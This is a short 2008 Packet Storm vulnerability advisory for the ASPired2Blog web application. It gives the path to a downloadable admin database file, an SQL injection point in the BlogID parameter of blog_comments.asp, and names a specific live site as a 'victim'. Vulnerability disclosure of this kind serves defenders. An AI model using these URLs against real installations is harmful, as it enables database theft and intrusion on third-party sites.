ASPired2Blog SQL Injection / Database Disclosure

2008-12-12T00:00:00
ID PACKETSTORM:72933
Type packetstorm
Reporter Pouya Server
Modified 2008-12-12T00:00:00

Description

                                        
                                            `#########################################################  
---------------------------------------------------------  
Portal Name: ASPIred2Blog  
Vendor : http://thenetguys.us/Home/Blog.asp  
Author : Pouya_Server , Pouya.s3rver@Gmail.com  
Vulnerability : (SQL,DD)  
---------------------------------------------------------  
#########################################################  
[DD]:  
http://site.com/[Path]/admin/blog.mdb  
  
[SQL]:  
http://site.com/[Path]/admin/blog_comments.asp?BlogID='[SQL]  
  
---------------------------------  
Victem :  
http://thenetguys.us/ASPired2/Blog/index.asp  
  
`